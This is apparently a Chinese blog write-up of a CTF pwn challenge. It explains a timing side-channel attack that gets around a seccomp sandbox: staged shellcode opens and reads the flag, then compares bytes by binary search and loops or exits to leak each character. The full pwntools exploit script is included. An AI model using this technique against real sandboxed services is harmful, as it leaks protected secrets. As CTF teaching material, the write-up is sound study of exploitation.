【pwn】记一道shellcode侧信道攻击
【pwn】记一道shellcode侧信道攻击
前言
契机来源于K0nashi师傅给的一道题目,让我来写写shellcode,那当然是写啊!
分析
checksec之后发现保护全开,打开ida分析发现有沙箱,直接查看沙箱
可以使用read open,不能使用write,并且判断了A < 0x40000000。
再进入ida看看
先mmap一段可执行的chunk,然后可以写入0x18长度的shellcode,最后设立沙箱规则之后执行我们刚刚写入的shellcode。
那么一种新的思路就是侧信道
攻击
简单来说就是我们先open flag,然后read flag到stack上,通过逐一对比stack上的字符来判断我们爆破的flag字符是否正确,正确就loop循环,不正确就直接exit。
这点类似于web题目中的布尔盲注,当然我们这里也用到了时间盲注,根据是否eof来判断是否正确。
做法
首先由于0x18的shellcode的限制,我们不可能在这里完成read和open,所以先在0x18的地方写入一段read的shellcode,让我们可以读如更多的shellcode
我们先动调一下,发现我们写入的第一段shellcode会写入0x10000这个mmap的起始地点,并且我们写入了0x18的长度的shellcode,rip最后会到0x10018的地方,所以我们让read写入的地址为0x10018就可以了
def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)
然后我们可以写入0x250长度的shellcode,我们先open flag,再读取flag,这点直接用shellcraft就可以做到
orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3,'rsp',0x100)
接下来就是重点了,我们需要写入一段shellcode来判断我们爆破的flag是否正确,这里要用到汇编中的jz或者使用二分法,ja来判断。
在这里强调一点,目前网上绝大部分的有关shellcode的爆破都是通过jz来判断是否相同,而wjh师傅使用了二分法的ja来缩小爆破时间和次数,我这里参考了wjh师傅的第五届 “蓝帽杯” Final PWN、RE Writeup,中的secretcode的exp写法。
这里是我写的比较方法(基于二分法)
orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''
完整的pwn函数
def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":break
我们的判断条件就是这个时间间隔是否大于了0.1,大于0.1可以证明进入了loop循环,那么我们的结果就是正确的,所以left = mid + 1缩小范围,直到left == right就是我们需要的flag正确字符
exp
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2021/10/15 13:49:57
# -----------------------------------from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, osfrom pwnlib.adb.adb import shelldef ret2libc(addr,func,binary=null):libc = LibcSearcher(func,addr) if binary == null else binarylibc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]system = libc.address+libc.dump('system') if binary == null else libc.sym['system']binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))leak('libc_base',libc.address)leak('system',system)leak('binsh',binsh)return(system,binsh)def hack(pwn):global io,binary,libctimes = 0while True:try:times += 1clear()info(f'time --> {times}')pwn()except:io.close()io = getprocess()def init(binary):global arglen, elf, path , libc, context, ioarglen = len(sys.argv)warnings.filterwarnings('ignore')context.terminal = ['gnome-terminal','-x', 'bash','-c']elf = ELF(binary)path = libcpath(binary)libc = ELF(path)libc.path = pathcontext.arch = elfbit(binary)io = getprocess()s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info = lambda data : log.info(f'\033[36m{data}\033[0m')
pau = lambda : pause() if DEBUG else null
dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './chall'
init(binary)def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":breakpwn()
ia()
最终仅仅使用了半分钟爆破126次就get flag了
【pwn】记一道shellcode侧信道攻击相关推荐
- [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御
这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...
- [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别
这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...
- Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...
- 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造
[安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...
- 基于Montgomery算法的高速、可配置 RSA密码IP核硬件设计系列(五)——模幂模块(抵抗侧信道攻击)模块的设计实现方案
基于Montgomery算法的高速.可配置RSA密码IP核硬件设计系列(五) 2.2 模幂模块设计(抵抗测信道攻击模块) 2.2.1 模幂模块及内部模块的功能 2.2.3 模幂各模块的实现方案 2.2 ...
- CATalyst——针对末级缓存侧信道攻击的防御技术
CATalyst: Defeating Last-Level Cache Side Channel Attacks inCloud Computing, HPCA'16 (A类), 2016年3月[1 ...
- 简单来看看什么是侧信道攻击
前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...
- 基于RF算法的侧信道攻击方法研究
摘要 目前,随机森林(RF)算法在侧信道分析领域的潜力还没有得到充分利用.文章提出一种基于RF算法的侧信道攻击方法,分别从输入数据处理和参数控制两方面进行模型优化,在特征点选择和RF算法参数调优两方面 ...
- 漏洞挖掘——实验11 侧信道攻击+TCP/IP实验
漏洞挖掘前言 题目 Lab 侧信道攻击 + TCP/IP实验 Pre 1.用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因. 2. ...
- 头歌-信息安全技术-Spectre侧信道攻击过程验证
头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...
最新文章
- 基于C++模板的线性代数库---Eigen
- 提高显微镜分辨率方法_超分辨显微镜研究获进展
- OpenSUSE 13.1 和 OpenSUSE 12.3 用户如何安装 Cinnamon 2.2 桌面
- swoole TCP UDP server
- poj3190 Stall Reservations(贪心+STL)
- atitit.atiOrmStoreService 框架的原理与设计 part1 概述与新特性
- ireport交叉报表 crosstab排序_质性数据分析软件NVivo教程:交叉表查询
- Netty框架中的@Skip使用说明
- 八种实用的免费游戏开发软件工具
- c语言蝴蝶图案代码,通达信指标公式,临界点蝴蝶图案出现,暴涨趋势出现(附源码)...
- 用计算机控制人造卫星属于,用计算机控制人造卫星属于 为什么人造卫星在高层大气...
- ajax帝国cms自动加载分页,帝国CMS7.0版ajax无刷新添加评论插件
- 人事代理行业 薪酬福利外包市场:老树发新芽,数字 化转型提质增效
- Photoshop 套索工具抠图
- 出国读计算机专业好吗,计算机美国读研 - 美国留学读计算机专业好不好
- linux桌面分辨率太高,将Ubuntu调整到高DPI分辨率屏幕
- vant移动端上传附件
- Tkinter 如何禁用最大化
- 千篇一律:“外挂”泛滥的网游公关写作
- OpenSIPS-NAT穿越,SIP注册,INVITE及RTPProxy配置